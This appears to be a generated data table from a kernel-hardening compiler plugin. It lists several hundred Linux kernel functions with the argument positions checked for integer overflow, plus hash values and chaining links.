nfs4_alloc_slots 1 2454 _003345_hash NULL nohasharray ++_001021_hash nfsctl_transaction_write 3 64800 _001021_hash NULL ++_001022_hash nfs_fscache_get_super_cookie 3 44355 _001850_hash NULL nohasharray ++_001023_hash nfs_idmap_request_key 3 30208 _001023_hash NULL ++_001024_hash nfs_pgarray_set 2 1085 _001024_hash NULL ++_001025_hash nl_pid_hash_zalloc 1 23314 _001025_hash NULL ++_001026_hash nr_sendmsg 4 53656 _001026_hash NULL ++_001027_hash nsm_create_handle 4 38060 _001027_hash NULL ++_001028_hash ntfs_copy_from_user_iovec 3-6 49829 _001028_hash NULL ++_001030_hash ntfs_file_buffered_write 4-6 41442 _001030_hash NULL ++_001032_hash __ntfs_malloc 1 34022 _001032_hash NULL ++_001033_hash nvme_alloc_queue 3 46865 _001033_hash NULL ++_001034_hash nvme_map_user_pages 3-4 41093 _001639_hash NULL nohasharray ++_001036_hash ocfs2_acl_from_xattr 2 21604 _001036_hash NULL ++_001037_hash ocfs2_control_message 3 19564 _001037_hash NULL ++_001038_hash _ore_get_io_state 3-5-4 2166 _001038_hash NULL ++_001041_hash orinoco_set_key 5-7 17878 _001041_hash NULL ++_001043_hash osdmap_set_max_osd 2 57630 _002267_hash NULL nohasharray ++_001044_hash _osd_realloc_seg 3 54352 _001044_hash NULL ++_001045_hash osst_execute 7-6 17607 _001045_hash NULL ++_001046_hash osst_write 3 31581 _001046_hash NULL ++_001047_hash otp_read 2-5-4 10594 _001047_hash NULL ++_001050_hash ovs_vport_alloc 1 33475 _001050_hash NULL ++_001051_hash p54_parse_rssical 3 64493 _001051_hash NULL ++_001052_hash p9_client_zc_rpc 7 14345 _001052_hash NULL ++_001053_hash packet_sendmsg_spkt 4 28885 _001053_hash NULL ++_001054_hash pair_device 4 61175 _003161_hash NULL nohasharray ++_001055_hash pccard_store_cis 6 18176 _001055_hash NULL ++_001056_hash pci_add_cap_save_buffer 3 3426 _001056_hash NULL ++_001057_hash pcnet32_realloc_rx_ring 3 36598 _001057_hash NULL ++_001058_hash pcnet32_realloc_tx_ring 3 38428 _001058_hash NULL ++_001059_hash pcpu_mem_zalloc 1 22948 _001059_hash NULL ++_001060_hash pep_sendmsg 4 62524 _001060_hash NULL ++_001061_hash pfkey_sendmsg 4 47394 _001061_hash NULL ++_001062_hash pidlist_resize 2 496 _001062_hash NULL ++_001063_hash pin_code_reply 4 46510 _001063_hash NULL ++_001064_hash ping_getfrag 3-4 8360 _001064_hash NULL ++_001066_hash pipe_set_size 2 5204 _001066_hash NULL ++_001067_hash pkt_bio_alloc 1 48284 _001067_hash NULL ++_001068_hash platform_create_bundle 4-6 12785 _001068_hash NULL ++_001070_hash pm8001_store_update_fw 4 55716 _001070_hash NULL ++_001071_hash pmcraid_alloc_sglist 1 9864 _001071_hash NULL ++_001072_hash pn533_dep_link_up 5 22154 _001072_hash NULL ++_001073_hash pn533_init_target_frame 3 65438 _001073_hash NULL ++_001074_hash pnp_alloc 1 24869 _001538_hash NULL nohasharray ++_001075_hash pn_sendmsg 4 12640 _001075_hash NULL ++_001076_hash pppoe_sendmsg 4 48039 _001076_hash NULL ++_001077_hash pppol2tp_sendmsg 4 56420 _001077_hash NULL ++_001078_hash prism2_info_hostscanresults 3 39657 _001078_hash NULL ++_001079_hash process_vm_rw 3-5 47533 _001079_hash NULL ++_001081_hash process_vm_rw_single_vec 1-2 26213 _001081_hash NULL ++_001083_hash proc_write 3 51003 _001083_hash NULL ++_001084_hash profile_load 3 58267 _001084_hash NULL ++_001085_hash profile_remove 3 8556 _001085_hash NULL ++_001086_hash profile_replace 3 14652 _001086_hash NULL ++_001087_hash pscsi_get_bio 1 56103 _001087_hash NULL ++_001088_hash __pskb_copy 2 9038 _001088_hash NULL ++_001089_hash __pskb_pull_tail 2 60287 _001089_hash NULL ++_001090_hash qla4xxx_alloc_work 2 44813 _001090_hash NULL ++_001091_hash qlcnic_alloc_msix_entries 2 46160 _001091_hash NULL ++_001092_hash qlcnic_alloc_sds_rings 2 26795 _001092_hash NULL ++_001093_hash queue_received_packet 5 9657 _001093_hash NULL ++_001094_hash raw_send_hdrinc 4 58803 _001094_hash NULL ++_001095_hash raw_sendmsg 4 23078 _003316_hash NULL nohasharray ++_001096_hash rawsock_sendmsg 4 60010 _001096_hash NULL ++_001097_hash rawv6_send_hdrinc 3 35425 _001097_hash NULL ++_001098_hash rawv6_setsockopt 5 56165 _001098_hash NULL ++_001099_hash rb_alloc 1 3102 _001099_hash NULL ++_001100_hash rbd_alloc_coll 1 33678 _001100_hash NULL ++_001101_hash rbd_create_rw_ops 1 55297 _001101_hash NULL ++_001102_hash rds_ib_inc_copy_to_user 3 55007 _001102_hash NULL ++_001103_hash rds_iw_inc_copy_to_user 3 29214 _001103_hash NULL ++_001104_hash rds_message_alloc 1 10517 _001104_hash NULL ++_001105_hash rds_message_copy_from_user 3 45510 _001105_hash NULL ++_001106_hash rds_message_inc_copy_to_user 3 26540 _001106_hash NULL ++_001107_hash regcache_rbtree_insert_to_block 5 58009 _001107_hash NULL ++_001108_hash _regmap_raw_write 4 42652 _001108_hash NULL ++_001109_hash regmap_register_patch 3 21681 _001109_hash NULL ++_001110_hash relay_alloc_page_array 1 52735 _001110_hash NULL ++_001111_hash remove_uuid 4 64505 _001111_hash NULL ++_001112_hash reshape_ring 2 29147 _001112_hash NULL ++_001113_hash RESIZE_IF_NEEDED 2 56286 _001113_hash NULL ++_001114_hash resize_info_buffer 2 62889 _001114_hash NULL ++_001115_hash resize_stripes 2 61650 _001115_hash NULL ++_001116_hash rfcomm_sock_sendmsg 4 37661 _003661_hash NULL nohasharray ++_001117_hash roccat_common2_send_with_status 4 50343 _001117_hash NULL ++_001118_hash rose_sendmsg 4 20249 _001118_hash NULL ++_001119_hash rsc_mgr_init 3 16299 _001119_hash NULL ++_001120_hash rxrpc_send_data 5 21553 _001120_hash NULL ++_001121_hash rxrpc_setsockopt 5 50286 _001121_hash NULL ++_001122_hash savu_sysfs_read 6 49473 _001122_hash NULL ++_001124_hash sco_send_frame 3 41815 _001124_hash NULL ++_001125_hash scsi_dispatch_cmd_entry 3 49848 _001125_hash NULL ++_001126_hash scsi_host_alloc 2 63041 _001126_hash NULL ++_001127_hash scsi_tgt_kspace_exec 8 9522 _001127_hash NULL ++_001128_hash sctp_sendmsg 4 61919 _001128_hash NULL ++_001129_hash sctp_setsockopt 5 44788 _001129_hash NULL ++_001130_hash sctp_setsockopt_connectx 3 6073 _001130_hash NULL ++_001131_hash sctp_setsockopt_connectx_old 3 22631 _001131_hash NULL ++_001132_hash sctp_tsnmap_grow 2 32784 _001132_hash NULL ++_001133_hash sctp_tsnmap_init 2 36446 _001133_hash NULL ++_001134_hash sctp_user_addto_chunk 2-3 62047 _001134_hash NULL ++_001136_hash security_context_to_sid 2 19839 _001136_hash NULL ++_001137_hash security_context_to_sid_default 2 3492 _003841_hash NULL nohasharray ++_001138_hash security_context_to_sid_force 2 20724 _001138_hash NULL ++_001139_hash self_check_write 5 50856 _001139_hash NULL ++_001140_hash selinux_transaction_write 3 59038 _001140_hash NULL ++_001141_hash sel_write_access 3 51704 _001141_hash NULL ++_001142_hash sel_write_create 3 11353 _001142_hash NULL ++_001143_hash sel_write_member 3 28800 _001143_hash NULL ++_001144_hash sel_write_relabel 3 55195 _001144_hash NULL ++_001145_hash sel_write_user 3 45060 _001145_hash NULL ++_001146_hash __seq_open_private 3 40715 _001146_hash NULL ++_001147_hash serverworks_create_gatt_pages 1 46582 _001147_hash NULL ++_001148_hash set_connectable 4 56458 _001148_hash NULL ++_001149_hash set_dev_class 4 39645 _001921_hash NULL nohasharray ++_001150_hash set_discoverable 4 48141 _001150_hash NULL ++_001151_hash set_fd_set 1 35249 _001151_hash NULL ++_001152_hash setkey 3 14987 _001152_hash NULL ++_001153_hash set_le 4 30581 _001153_hash NULL ++_001154_hash set_link_security 4 4502 _001154_hash NULL ++_001155_hash set_local_name 4 55757 _001155_hash NULL ++_001156_hash set_powered 4 12129 _001156_hash NULL ++_001157_hash set_ssp 4 62411 _001157_hash NULL ++_001158_hash sg_build_sgat 3 60179 _001158_hash &_000314_hash ++_001159_hash sg_read_oxfer 3 51724 _001159_hash NULL ++_001160_hash shmem_xattr_set 4 11843 _001160_hash NULL ++_001161_hash simple_alloc_urb 3 60420 _001161_hash NULL ++_001162_hash sisusb_send_bridge_packet 2 11649 _001162_hash NULL ++_001163_hash sisusb_send_packet 2 20891 _001163_hash NULL ++_001164_hash sisusb_write_mem_bulk 4 29678 _001164_hash NULL ++_001165_hash skb_add_data_nocache 4 4682 _001165_hash NULL ++_001166_hash skb_copy_datagram_from_iovec 2-5-4 52014 _001166_hash NULL ++_001169_hash skb_copy_expand 2-3 7685 _001169_hash &_000677_hash ++_001171_hash skb_copy_to_page_nocache 6 58624 _001171_hash NULL ++_001172_hash __skb_cow 2 39254 _001172_hash NULL ++_001173_hash skb_cow_data 2 11565 _001173_hash NULL ++_001174_hash skb_pad 2 17302 _001174_hash NULL ++_001175_hash skb_realloc_headroom 2 19516 _001175_hash NULL ++_001176_hash sk_chk_filter 2 42095 _001176_hash NULL ++_001177_hash skcipher_sendmsg 4 30290 _001177_hash NULL ++_001178_hash sl_change_mtu 2 7396 _001178_hash NULL ++_001179_hash slhc_init 1-2 58135 _001179_hash &_000931_hash ++_001181_hash sm501_create_subdev 3-4 48668 _001245_hash NULL nohasharray ++_001183_hash smk_user_access 3 24440 _001183_hash NULL ++_001184_hash smk_write_cipso2 3 1021 _001184_hash NULL ++_001185_hash smk_write_cipso 3 17989 _001185_hash NULL ++_001186_hash smk_write_load2 3 52155 _001186_hash NULL ++_001187_hash smk_write_load 3 26829 _001187_hash NULL ++_001188_hash smk_write_load_self2 3 591 _001188_hash NULL ++_001189_hash smk_write_load_self 3 7958 _001189_hash NULL ++_001190_hash snapshot_write 3 28351 _001190_hash NULL ++_001191_hash snd_ac97_pcm_assign 2 30218 _001191_hash NULL ++_001192_hash snd_card_create 4 64418 _001529_hash NULL nohasharray ++_001193_hash snd_emux_create_port 3 42533 _001193_hash NULL ++_001194_hash snd_gus_dram_write 4 38784 _001194_hash NULL ++_001195_hash snd_midi_channel_alloc_set 1 28153 _001195_hash NULL ++_001196_hash _snd_pcm_lib_alloc_vmalloc_buffer 2 17820 _001196_hash NULL ++_001197_hash snd_pcm_oss_sync1 2 45298 _001197_hash NULL ++_001198_hash snd_pcm_oss_write 3 38108 _001198_hash NULL ++_001199_hash snd_pcm_plugin_build 5 25505 _001199_hash NULL ++_001200_hash snd_rawmidi_kernel_write 3 25106 _001200_hash NULL ++_001201_hash snd_rawmidi_write 3 28008 _001201_hash NULL ++_001202_hash snd_rme32_playback_copy 5 43732 _001202_hash NULL ++_001203_hash snd_rme96_playback_copy 5 13111 _001203_hash NULL ++_001204_hash snd_seq_device_new 4 31753 _001204_hash NULL ++_001205_hash snd_seq_oss_readq_new 2 14283 _001205_hash NULL ++_001206_hash snd_vx_create 4 40948 _001206_hash NULL ++_001207_hash sock_setsockopt 5 50088 _001207_hash NULL ++_001208_hash sound_write 3 5102 _001208_hash NULL ++_001209_hash _sp2d_alloc 1-3-2 16944 _001209_hash NULL ++_001212_hash spi_alloc_master 2 45223 _001212_hash NULL ++_001213_hash spidev_message 3 5518 _001213_hash NULL ++_001214_hash spi_register_board_info 2 35651 _001214_hash NULL ++_001215_hash squashfs_cache_init 2 41656 _001215_hash NULL ++_001216_hash squashfs_read_data 6 59440 _001216_hash NULL ++_001217_hash squashfs_read_fragment_index_table 4 2506 _001217_hash NULL ++_001218_hash squashfs_read_id_index_table 4 61961 _001218_hash NULL ++_001219_hash squashfs_read_inode_lookup_table 4 64739 _001219_hash NULL ++_001220_hash srp_alloc_iu 2 44227 _001220_hash NULL ++_001221_hash srp_iu_pool_alloc 2 17920 _001221_hash NULL ++_001222_hash srp_ring_alloc 2 26760 _001222_hash NULL ++_001226_hash start_isoc_chain 2 565 _001226_hash NULL ++_001227_hash st_write 3 16874 _001227_hash NULL ++_001228_hash svc_pool_map_alloc_arrays 2 47181 _001228_hash NULL ++_001229_hash symtab_init 2 61050 _001229_hash NULL ++_001230_hash sys_bind 3 10799 _001230_hash NULL ++_001231_hash sys_connect 3 15291 _003816_hash NULL nohasharray ++_001232_hash sys_flistxattr 3 41407 _001232_hash NULL ++_001233_hash sys_fsetxattr 4 49736 _001233_hash NULL ++_001234_hash sysfs_write_file 3 57116 _001234_hash NULL ++_001235_hash sys_ipc 3 4889 _001235_hash NULL ++_001236_hash sys_keyctl 4 33708 _001236_hash &_001011_hash ++_001237_hash sys_listxattr 3 27833 _001237_hash NULL ++_001238_hash sys_llistxattr 3 4532 _001238_hash NULL ++_001239_hash sys_lsetxattr 4 61177 _001239_hash NULL ++_001240_hash sys_mq_timedsend 3 57661 _001240_hash NULL ++_001241_hash sys_sched_setaffinity 2 32046 _001241_hash NULL ++_001242_hash sys_select 1 38827 _001242_hash NULL ++_001243_hash sys_semop 3 39457 _001243_hash NULL ++_001244_hash sys_sendto 6 20809 _001244_hash NULL ++_001245_hash sys_setgroups 1 48668 _001245_hash &_001181_hash ++_001246_hash sys_setgroups16 1 48882 _001246_hash NULL ++_001247_hash sys_setxattr 4 37880 _001247_hash NULL ++_001248_hash t4_alloc_mem 1 32342 _001248_hash NULL ++_001249_hash tcf_hash_create 4 54360 _001249_hash NULL ++_001250_hash tcp_send_rcvq 3 11316 _001250_hash NULL ++_001251_hash __team_options_register 3 63941 _001251_hash NULL ++_001252_hash test_unaligned_bulk 3 52333 _001252_hash NULL ++_001253_hash tifm_alloc_adapter 1 10903 _001253_hash NULL ++_001254_hash timeout_write 3 50991 _001254_hash NULL ++_001255_hash timeradd_entry 3 49850 _001255_hash NULL ++_001256_hash tipc_link_send_sections_fast 4 37920 _001256_hash NULL ++_001257_hash tipc_subseq_alloc 1 5957 _001257_hash NULL ++_001258_hash tnode_alloc 1 49407 _001258_hash NULL ++_001259_hash tomoyo_commit_ok 2 20167 _001259_hash NULL ++_001260_hash tomoyo_scan_bprm 2-4 15642 _003488_hash NULL nohasharray ++_001262_hash tps6586x_writes 3 58689 _001262_hash NULL ++_001263_hash tty_buffer_find 2 2443 _001263_hash NULL ++_001264_hash tty_write 3 5494 _001264_hash NULL ++_001265_hash ubifs_setxattr 4 59650 _001477_hash NULL nohasharray ++_001266_hash ubi_self_check_all_ff 4 41959 _001266_hash NULL ++_001267_hash udf_sb_alloc_partition_maps 2 62313 _001267_hash NULL ++_001268_hash udplite_getfrag 3-4 14479 _001268_hash NULL ++_001270_hash ulong_write_file 3 26485 _001270_hash NULL ++_001271_hash unix_stream_sendmsg 4 61455 _001271_hash NULL ++_001272_hash unlink_queued 3-4 645 _001272_hash NULL ++_001273_hash update_pmkid 4 2481 _001273_hash NULL ++_001274_hash usb_alloc_coherent 2 65444 _001274_hash NULL ++_001275_hash vc_resize 2-3 3585 _001275_hash NULL ++_001277_hash vhci_write 3 2224 _001277_hash NULL ++_001278_hash __vhost_add_used_n 3 26554 _001278_hash NULL ++_001279_hash virtqueue_add_buf 3-4 59470 _001279_hash NULL ++_001281_hash vmalloc 1 15464 _001281_hash NULL ++_001282_hash vol_cdev_write 3 40915 _001282_hash NULL ++_001283_hash vxge_device_register 4 7752 _001283_hash NULL ++_001284_hash __vxge_hw_blockpool_malloc 2 5786 _001284_hash NULL ++_001285_hash __vxge_hw_channel_allocate 3 55462 _001285_hash NULL ++_001286_hash vzalloc 1 47421 _001286_hash NULL ++_001287_hash vzalloc_node 1 23424 _001287_hash NULL ++_001288_hash wa_nep_queue 2 8858 _001288_hash NULL ++_001289_hash __wa_xfer_setup_segs 2 56725 _001289_hash NULL ++_001290_hash wiphy_new 2 2482 _001290_hash NULL ++_001291_hash wm8350_block_write 3 19727 _001291_hash NULL ++_001292_hash wpan_phy_alloc 1 48056 _001292_hash NULL ++_001293_hash write_flush_pipefs 3 2021 _001293_hash NULL ++_001294_hash write_flush_procfs 3 44011 _001294_hash NULL ++_001295_hash wusb_ccm_mac 7 32199 _001295_hash NULL ++_001296_hash x25_sendmsg 4 12487 _001296_hash NULL ++_001297_hash xfrm_hash_alloc 1 10997 _001297_hash NULL ++_001298_hash _xfs_buf_get_pages 2 46811 _001298_hash NULL ++_001299_hash xfs_da_grow_inode_int 3 21785 _001299_hash NULL ++_001300_hash xfs_dir_cilookup_result 3 64288 _003160_hash NULL nohasharray ++_001301_hash xfs_idata_realloc 2 26199 _001301_hash NULL ++_001302_hash xfs_iext_add_indirect_multi 3 32400 _001302_hash NULL ++_001303_hash xfs_iext_inline_to_direct 2 12384 _001303_hash NULL ++_001304_hash xfs_iformat_local 4 49472 _001304_hash NULL ++_001305_hash xfs_iroot_realloc 2 46826 _001305_hash NULL ++_001306_hash xhci_alloc_stream_info 3 63902 _001306_hash NULL ++_001307_hash xlog_recover_add_to_trans 4 62839 _001307_hash NULL ++_001308_hash xprt_alloc 2 1475 _001308_hash NULL ++_001309_hash xt_alloc_table_info 1 57903 _001309_hash NULL ++_001310_hash _zd_iowrite32v_async_locked 3 39034 _001310_hash NULL ++_001311_hash zd_usb_iowrite16v 3 49744 _001311_hash NULL ++_001312_hash a2mp_send 4 41615 _001312_hash NULL ++_001313_hash acpi_ds_build_internal_package_obj 3 58271 _001313_hash NULL ++_001314_hash acpi_system_read_event 3 55362 _001314_hash NULL ++_001315_hash acpi_ut_create_buffer_object 1 42030 _001315_hash NULL ++_001316_hash acpi_ut_create_package_object 1 17594 _001316_hash NULL ++_001317_hash acpi_ut_create_string_object 1 15360 _001317_hash NULL ++_001318_hash ad7879_spi_multi_read 3 8218 _001318_hash NULL ++_001319_hash add_child 4 45201 _001319_hash NULL ++_001320_hash add_port 2 54941 _001320_hash NULL ++_001321_hash adu_read 3 24177 _001321_hash NULL ++_001322_hash afs_cell_create 2 27346 _001322_hash NULL ++_001323_hash agp_allocate_memory 2 58761 _001323_hash NULL ++_001324_hash agp_generic_alloc_user 1 9470 _001324_hash NULL ++_001325_hash alc_auto_create_extra_outs 2 18975 _001325_hash NULL ++_001326_hash alloc_agpphysmem_i8xx 1 39427 _001326_hash NULL ++_001327_hash allocate_cnodes 1 5329 _001327_hash NULL ++_001328_hash ___alloc_bootmem 1 11410 _001328_hash NULL ++_001329_hash __alloc_bootmem_low_node 2 25726 _001662_hash NULL nohasharray ++_001330_hash __alloc_bootmem_node 2 1992 _001330_hash NULL ++_001331_hash __alloc_bootmem_node_nopanic 2 6432 _001331_hash NULL ++_001332_hash __alloc_bootmem_nopanic 1 65397 _001332_hash NULL ++_001333_hash alloc_candev 1-2 7776 _001333_hash NULL ++_001335_hash _alloc_cdb_cont 2 23609 _001335_hash NULL ++_001336_hash alloc_dummy_extent_buffer 2 56374 _001336_hash NULL ++_001337_hash ____alloc_ei_netdev 1 51475 _001337_hash NULL ++_001338_hash alloc_etherdev_mqs 1 36450 _001338_hash NULL ++_001339_hash alloc_extent_buffer 3 52824 _001339_hash NULL ++_001340_hash alloc_fcdev 1 18780 _001340_hash NULL ++_001341_hash alloc_fddidev 1 15382 _001341_hash NULL ++_001342_hash _alloc_get_attr_desc 2 470 _001342_hash NULL ++_001343_hash alloc_hippi_dev 1 51320 _001343_hash NULL ++_001344_hash alloc_irdadev 1 19140 _001344_hash NULL ++_001345_hash alloc_ldt 2 21972 _001345_hash NULL ++_001346_hash alloc_ltalkdev 1 38071 _001346_hash NULL ++_001347_hash alloc_one_pg_vec_page 1 10747 _001347_hash NULL ++_001348_hash alloc_orinocodev 1 21371 _001348_hash NULL ++_001349_hash alloc_ring 2-4 18278 _001349_hash NULL ++_001351_hash _alloc_set_attr_list 4 48991 _001351_hash NULL ++_001353_hash alloc_tx 2 32143 _001353_hash NULL ++_001354_hash alloc_wr 1-2 24635 _001354_hash NULL ++_001356_hash async_setkey 3 35521 _001356_hash NULL ++_001357_hash ata_host_alloc_pinfo 3 17325 _001357_hash NULL ++_001360_hash ath6kl_connect_event 7-9-8 14267 _001360_hash NULL ++_001361_hash ath6kl_fwlog_block_read 3 49836 _001361_hash NULL ++_001362_hash ath6kl_fwlog_read 3 32101 _001362_hash NULL ++_001363_hash ath9k_wmi_cmd 4 327 _001363_hash NULL ++_001364_hash ath_rx_init 2 43564 _001364_hash NULL ++_001365_hash ath_tx_init 2 60515 _001365_hash NULL ++_001366_hash atm_alloc_charge 2 19517 _001914_hash NULL nohasharray ++_001367_hash atm_get_addr 3 31221 _001367_hash NULL ++_001368_hash audit_log_n_hex 3 45617 _001368_hash NULL ++_001369_hash audit_log_n_string 3 31705 _001369_hash NULL ++_001370_hash ax25_output 2 22736 _001370_hash NULL ++_001371_hash bcsp_prepare_pkt 3 12961 _001371_hash NULL ++_001372_hash bdx_rxdb_create 1 46525 _001372_hash NULL ++_001373_hash bdx_tx_db_init 2 41719 _001373_hash NULL ++_001374_hash bio_map_kern 3 64751 _001374_hash NULL ++_001375_hash bits_to_user 2-3 47733 _001375_hash NULL ++_001377_hash __blk_queue_init_tags 2 9778 _001377_hash NULL ++_001378_hash blk_queue_resize_tags 2 28670 _001378_hash NULL ++_001379_hash blk_rq_map_user_iov 5 16772 _001379_hash NULL ++_001380_hash bm_init 2 13529 _001380_hash NULL ++_001381_hash brcmf_alloc_wdev 1 60347 _001381_hash NULL ++_001382_hash __btrfs_buffered_write 3 35311 _002735_hash NULL nohasharray ++_001383_hash btrfs_insert_dir_item 4 59304 _001383_hash NULL ++_001384_hash btrfs_map_block 3 64379 _001384_hash NULL ++_001385_hash bt_skb_alloc 1 6404 _001385_hash NULL ++_001386_hash c4_add_card 3 54968 _001386_hash NULL ++_001387_hash cache_read 3 24790 _001387_hash NULL ++_001388_hash cache_write 3 13589 _001388_hash NULL ++_001389_hash calc_hmac 3 32010 _001389_hash NULL ++_001390_hash capinc_tty_write 3 28539 _001390_hash NULL ++_001391_hash ccid_getsockopt_builtin_ccids 2 53634 _001391_hash NULL ++_001392_hash ceph_copy_page_vector_to_user 3-4 31270 _001392_hash NULL ++_001394_hash ceph_parse_server_name 2 60318 _001394_hash NULL ++_001395_hash ceph_read_dir 3 17005 _001395_hash NULL ++_001396_hash cfg80211_roamed 5-7 32632 _001396_hash NULL ++_001398_hash cfpkt_add_body 3 44630 _001398_hash NULL ++_001399_hash cfpkt_create_pfx 1-2 23594 _001399_hash NULL ++_001401_hash cmd_complete 6 51629 _001401_hash NULL ++_001402_hash cmtp_add_msgpart 4 9252 _001402_hash NULL ++_001403_hash cmtp_send_interopmsg 7 376 _001403_hash NULL ++_001404_hash coda_psdev_read 3 35029 _001404_hash NULL ++_001405_hash construct_key_and_link 4 8321 _001405_hash NULL ++_001406_hash copy_counters_to_user 5 17027 _001406_hash NULL ++_001407_hash copy_entries_to_user 1 52367 _001407_hash NULL ++_001408_hash copy_from_buf 2-4 27308 _001408_hash NULL ++_001410_hash copy_oldmem_page 3-1 26164 _001410_hash NULL ++_001411_hash copy_to_user_fromio 3 57432 _001411_hash NULL ++_001412_hash cryptd_hash_setkey 3 42781 _001412_hash NULL ++_001413_hash crypto_authenc_esn_setkey 3 6985 _001413_hash NULL ++_001414_hash crypto_authenc_setkey 3 80 _001414_hash NULL ++_001415_hash cxgb3_get_cpl_reply_skb 2 10620 _001415_hash NULL ++_001416_hash cxgbi_ddp_reserve 4 30091 _001416_hash NULL ++_001417_hash cxio_init_resource_fifo 3 28764 _001417_hash NULL ++_001418_hash cxio_init_resource_fifo_random 3 47151 _001418_hash NULL ++_001419_hash datablob_hmac_append 3 40038 _001419_hash NULL ++_001420_hash datablob_hmac_verify 4 24786 _001420_hash NULL ++_001421_hash dataflash_read_fact_otp 3-2 33204 _001421_hash NULL ++_001422_hash dataflash_read_user_otp 3-2 14536 _001422_hash &_000207_hash ++_001423_hash dccp_feat_register_sp 5 17914 _001423_hash NULL ++_001424_hash dccp_setsockopt 5 60367 _001424_hash NULL ++_001425_hash __dev_alloc_skb 1 28681 _001425_hash NULL ++_001426_hash disk_expand_part_tbl 2 30561 _001426_hash NULL ++_001427_hash diva_os_alloc_message_buffer 1 64568 _001427_hash NULL ++_001428_hash diva_os_copy_to_user 4 48508 _001428_hash NULL ++_001429_hash diva_os_malloc 2 16406 _001429_hash NULL ++_001430_hash dmam_declare_coherent_memory 4-2 43679 _001430_hash NULL ++_001431_hash dm_vcalloc 1-2 16814 _001431_hash NULL ++_001433_hash dn_alloc_skb 2 6631 _001433_hash NULL ++_001434_hash do_proc_readlink 3 14096 _001434_hash NULL ++_001435_hash do_readlink 2 43518 _001435_hash NULL ++_001436_hash __do_replace 5 37227 _001436_hash NULL ++_001437_hash do_sigpending 2 9766 _001437_hash NULL ++_001438_hash drbd_bm_resize 2 20522 _001438_hash NULL ++_001439_hash drbd_setsockopt 5 16280 _001439_hash &_000383_hash ++_001440_hash dump_midi 3 51040 _001440_hash NULL ++_001441_hash ecryptfs_filldir 3 6622 _001441_hash NULL ++_001442_hash ecryptfs_send_message 2 18322 _001442_hash NULL ++_001443_hash ep0_read 3 38095 _001443_hash NULL ++_001444_hash evdev_ioctl 2 22371 _001444_hash NULL ++_001445_hash ext4_add_new_descs 3 19509 _001445_hash NULL ++_001446_hash fat_ioctl_filldir 3 36621 _001446_hash NULL ++_001447_hash _fc_frame_alloc 1 43568 _001447_hash NULL ++_001448_hash fc_host_post_vendor_event 3 30903 _001448_hash NULL ++_001449_hash fd_copyout 3 59323 _001449_hash NULL ++_001450_hash f_hidg_read 3 6238 _001450_hash NULL ++_001451_hash filldir 3 55137 _001451_hash NULL ++_001452_hash filldir64 3 46469 _001452_hash NULL ++_001453_hash find_skb 2 20431 _001453_hash NULL ++_001454_hash from_buffer 3 18625 _001454_hash NULL ++_001455_hash fsm_init 2 16134 _001455_hash NULL ++_001456_hash fs_path_add 3 15648 _001456_hash NULL ++_001457_hash fs_path_add_from_extent_buffer 4 27702 _001457_hash NULL ++_001458_hash fuse_perform_write 4 18457 _001458_hash NULL ++_001459_hash gem_alloc_skb 2 51715 _001459_hash NULL ++_001460_hash generic_file_buffered_write 4 25464 _001460_hash NULL ++_001461_hash gen_pool_add 3 21776 _001461_hash NULL ++_001462_hash get_packet 3 41914 _001462_hash NULL ++_001463_hash get_packet 3 5747 _001463_hash NULL ++_001464_hash get_packet_pg 4 28023 _001464_hash NULL ++_001465_hash get_skb 2 63008 _001465_hash NULL ++_001466_hash get_subdir 3 62581 _001466_hash NULL ++_001467_hash gsm_control_message 4 18209 _001467_hash NULL ++_001468_hash gsm_control_modem 3 55303 _001468_hash NULL ++_001469_hash gsm_control_rls 3 3353 _001469_hash NULL ++_001470_hash handle_received_packet 3 22457 _001470_hash NULL ++_001471_hash hash_setkey 3 48310 _001471_hash NULL ++_001472_hash hdlcdrv_register 2 6792 _001472_hash NULL ++_001473_hash hiddev_ioctl 2 36816 _001473_hash NULL ++_001474_hash hid_input_report 4 32458 _001474_hash NULL ++_001475_hash hidp_queue_report 3 1881 _001475_hash NULL ++_001476_hash __hidp_send_ctrl_message 4 28303 _001476_hash NULL ++_001477_hash hidraw_read 3 59650 _001477_hash &_001265_hash ++_001478_hash HiSax_readstatus 2 15752 _001478_hash NULL ++_001480_hash __hwahc_op_set_gtk 4 42038 _001480_hash NULL ++_001481_hash __hwahc_op_set_ptk 5 36510 _001481_hash NULL ++_001482_hash hycapi_rx_capipkt 3 11602 _001482_hash NULL ++_001483_hash i2400m_net_rx 5 27170 _001483_hash NULL ++_001484_hash ib_copy_to_udata 3 27525 _001484_hash NULL ++_001485_hash idetape_chrdev_read 3 2097 _001485_hash NULL ++_001486_hash ieee80211_alloc_hw 1 43829 _001486_hash NULL ++_001487_hash ieee80211_bss_info_update 4 13991 _001487_hash NULL ++_001488_hash igmpv3_newpack 2 35912 _001488_hash NULL ++_001489_hash ilo_read 3 32531 _001489_hash NULL ++_001490_hash init_map_ipmac 3-4 63896 _001490_hash NULL ++_001492_hash init_tid_tabs 2-4-3 13252 _001492_hash NULL ++_001495_hash iowarrior_read 3 53483 _001495_hash NULL ++_001496_hash ip_options_get 4 56538 _001496_hash NULL ++_001497_hash ipv6_getsockopt_sticky 5 56711 _001497_hash NULL ++_001498_hash ipwireless_send_packet 4 8328 _001498_hash NULL ++_001499_hash ipx_sendmsg 4 1362 _001499_hash NULL ++_001500_hash irq_domain_add_linear 2 29236 _001500_hash NULL ++_001501_hash iscsi_conn_setup 2 35159 _001501_hash NULL ++_001502_hash iscsi_create_session 3 51647 _001502_hash NULL ++_001503_hash iscsi_host_alloc 2 36671 _001503_hash NULL ++_001504_hash iscsi_if_send_reply 7 52219 _001504_hash NULL ++_001505_hash iscsi_offload_mesg 5 58425 _001505_hash NULL ++_001506_hash iscsi_ping_comp_event 5 38263 _001506_hash NULL ++_001507_hash iscsi_post_host_event 4 13473 _001507_hash NULL ++_001508_hash iscsi_recv_pdu 4 16755 _001508_hash NULL ++_001509_hash iscsi_session_setup 4-5 196 _001509_hash NULL ++_001511_hash iscsit_find_cmd_from_itt_or_dump 3 17194 _003122_hash NULL nohasharray ++_001512_hash isdn_net_ciscohdlck_alloc_skb 2 55209 _001951_hash NULL nohasharray ++_001513_hash isdn_ppp_ccp_xmit_reset 6 63297 _001513_hash NULL ++_001514_hash isdn_ppp_read 4 50356 _001514_hash NULL ++_001515_hash isdn_ppp_skb_push 2 5236 _001515_hash NULL ++_001516_hash isku_sysfs_read 6 58806 _001516_hash NULL ++_001517_hash isku_sysfs_write 6 49767 _001517_hash NULL ++_001520_hash jbd2_alloc 1 41359 _001520_hash NULL ++_001521_hash jffs2_do_link 6 42048 _001521_hash NULL ++_001522_hash jffs2_do_unlink 4 62020 _001522_hash NULL ++_001523_hash jffs2_security_setxattr 4 62107 _001523_hash NULL 